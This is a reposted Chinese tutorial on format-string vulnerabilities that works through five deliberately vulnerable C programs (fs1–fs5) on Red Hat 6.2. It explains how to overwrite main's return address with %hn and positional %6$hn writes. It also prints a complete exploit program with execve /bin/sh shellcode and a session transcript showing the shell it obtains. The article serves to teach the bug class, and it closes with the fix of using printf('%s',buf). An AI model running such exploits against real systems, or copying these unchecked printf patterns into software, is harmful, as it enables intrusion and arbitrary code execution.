文章导航PC6首页软件下载单机游戏安卓资源苹果资源

pc软件新闻网络操作系统办公工具编程服务器软件评测

安卓新闻资讯应用教程刷机教程安卓游戏攻略tv资讯深度阅读综合安卓评测

苹果ios资讯苹果手机越狱备份教程美化教程ios软件教程mac教程

单机游戏角色扮演即时战略动作射击棋牌游戏体育竞技模拟经营其它游戏游戏工具

网游cf活动dnf活动lol周免英雄lol礼包

手游最新动态手游评测手游活动新游预告手游问答

您的位置:首页精文荟萃软件资讯 → 非安全编程演示之格式化字符串篇

非安全编程演示之格式化字符串篇

时间:2004/10/7 18:36:00来源:本站整理作者:蓝点我要评论(1)


            
             
              
             
            

               
               

            



            ★★ 二格式化字符串篇

测试环境 redhat 6.2 glibc 2.1.3

★ 2.1 演示一

/* fs1.c*
* specially crafted to feed your brain by gera@core-sdi.com */

/* Don't forget,*
* more is less,*
* here's a proof */

int main(int argv,char **argc) {
  short int zero=0;
  int *plen=(int*)malloc(sizeof(int));
  char buf[256];

  strcpy(buf,argc[1]);
  printf("%s%hn\n",buf,plen);
  while(zero);
}
利用方法:
这个程序构造的很巧妙,如果我们需要从这个程序中得到控制的话,
我们需要把strcpy和printf都利用起来。
我们的目标:覆盖main函数的返回地址,需要使zero为0,然而,单单strcpy
是不可能实现的,所以我们需要利用后面的
printf("%s%hn\n",buf,plen);
把short int 类型的zero设置为0。所以我们需要精心构造argc[1].



★ 2.2 演示二

/* fs2.c*
* specially crafted to feed your brain by gera@core-sdi.com */

/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
  char buf[256];

  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}
假如我们现在来覆盖main的返回地址:0xbffffb6c,
假使shellcode地址为:0xbffffc88
开始构造模板
第一次我们构造argc[1]的时候需要使argc[1]长度为0xbfff-2
那使构造argc[1]内容为
aaaa | bbbb | \0x8a\0xfc\0xff\0xbf|...
第二次我们构造argc[2]的时候需要使argc[2]长度为0xfb6c-2
那使构造argc[2]内容为
aaaa | bbbb | \0x88\0xfc\0xff\0xbf|...


★ 2.3 演示三

/* fs3.c*
* specially crafted to feed your brain by riq@core-sdi.com*/

/* Not enough resources?*/

int main(int argv,char **argc) {
  char buf[256];

  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
}
在上例中我们也看到,shellcode和main的返回地址存放的地址后两个字节是
一样的,所以也就不需要上面的第一步操作,直接如下构造:
构造argc[1]的时候需要使argc[1]长度为0xfb6c-2
那使构造argc[1]内容为
aaaa | bbbb | \0x88\0xfc\0xff\0xbf|...


★ 2.4 演示四

/* fs4.c*
* specially crafted to feed your brain by gera@core-sdi.com */

/* Have you ever heard about code reusability?*/

int main(int argv,char **argc) {
  char buf[256];

  snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);
  printf(buf);
}
%6$hn格式化字符串表示%hn对应的格式化参数使用第六个参数
明白这一点,写出exploit应该不是问题。
看了下面一个例子就应该明白%6$是怎么回事了
[alert7@redhat62 alert7]$ cat test.c
#include

int main(int argc, char *argv[])
{
  int a=2,b=3;
  printf("%d %d\n",a ,b);
  printf("%2$d %1$d\n",a ,b);

  return 0;
}
[alert7@redhat62 alert7]$ gcc -o test test.c -g
[alert7@redhat62 alert7]$ ./test
2 3
3 2
这样,我们可以在格式化串中自己指定所用哪个参数,而无需按照参数次序。


★ 2.5 演示五

/* fs5.c*
* specially crafted to feed your brain by gera@core-sdi.com */

/* go, go, go!*/
int main(int argv,char **argc) {
  char buf[256];
  snprintf(buf,sizeof buf,argc[1]);

  /* this line'll make your life easier */
//printf("%s\n",buf);
}
[alert7@redhat]$ gcc -o test test.c -g
给个exploit更感性一点
[alert7@redhat]$ cat exp.c|more
#include
#include

#define DEFAULT_OFFSET0
#define DEFAULT_ALIGNMENT 0
#define DEFAULT_RETLOC 0xbffffd28-0*4-8-8 //F-X*4-8-8
  //F为格式化字符串地址
  //X为垃圾的个数,X*4也就是
  //从esp到F的长度

#define NOP0x90

char shellcode[] =
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[]) {
  char *ptr;

  long shell_addr,retloc=DEFAULT_RETLOC;
  int i,SH1,SH2;
  char buf[512];
  char buf1[5000];
  int t;
  printf("Using RET location address: 0x%x\n", retloc);
  shell_addr =0xbfffff10 +atoi(argv[1]);//argv[1]的参数地址
  //里面存放着shellcode
  printf("Using Shellcode address: 0x%x\n", shell_addr);
 
SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff
SH2 = (shell_addr >>0) & 0xffff;//SH2=0xd3a8

ptr = buf;

if ((SH1)<(SH2))
{
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc+2) & 0xff;
 (*ptr++) = ((retloc+2) >> 8) & 0xff ;
 (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc) & 0xff;
 (*ptr++) = ((retloc) >> 8) & 0xff ;
 (*ptr++) = ((retloc) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc) >> 24 ) & 0xff ;

  sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));
  /*推荐构造格式化串的时候使用%hn*/
}

if ((SH1 )>(SH2))
{
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc) & 0xff;
 (*ptr++) = ((retloc) >> 8) & 0xff ;
 (*ptr++) = ((retloc) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc) >> 24 ) & 0xff ;
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc+2) & 0xff;
 (*ptr++) = ((retloc+2) >> 8) & 0xff ;
 (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;

  sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 ));
}
if ((SH1 )==(SH2))
  {
  printf("不能用一个printf实现这种情况\n"),exit(0);
  //其实是可以的,注意这个$这个特殊的printf选项没有
  //参考前面的演示四 :)
  }
sprintf(buf1,"%s%s",buf,shellcode);
execle("./test","test",buf1, NULL,NULL);
}
[alert7@redhat]$ gcc -o exp exp.c
[alert7@redhat]$ ./exp 50
Using RET location address: 0xbffffd18
Using Shellcode address: 0xbfffff42
bash$ uname -a
Linux redhat62 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
bash$ 成功:)
里面的一些数据的定位请参考我写的<<利用格式化串覆盖printf()系列函数本身的返回地址>>


★★ 小结:
存在格式化字符串的根本原因所在是程序允许用户提供部分或全部的格式化字符串,
也就是说,在*printf()系列函数中,格式化字符串位置的参数可由用户提供或者说
是控制。例如:千万不要因为懒惰写成这样printf(buf),正确的写法应该是
printf("%s",buf).


相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 360快剪辑怎么使用 36金山词霸如何屏幕取词百度收购PPS已敲定!3

最新文章 微信3.6.0测试版更新了微信支付漏洞会造成哪 360快剪辑怎么使用 360快剪辑软件使用方法介酷骑单车是什么 酷骑单车有什么用Apple pay与支付宝有什么区别 Apple pay与贝贝特卖是正品吗 贝贝特卖网可靠吗

人气排行 xp系统停止服务怎么办?xp系统升级win7系统方电脑闹钟怎么设置 win7电脑闹钟怎么设置office2013安装教程图解:手把手教你安装与qq影音闪退怎么办 QQ影音闪退解决方法VeryCD镜像网站逐个数,电驴资料库全集同步推是什么?同步推使用方法介绍QQ2012什么时候出 最新版下载EDiary——一款好用的电子日记本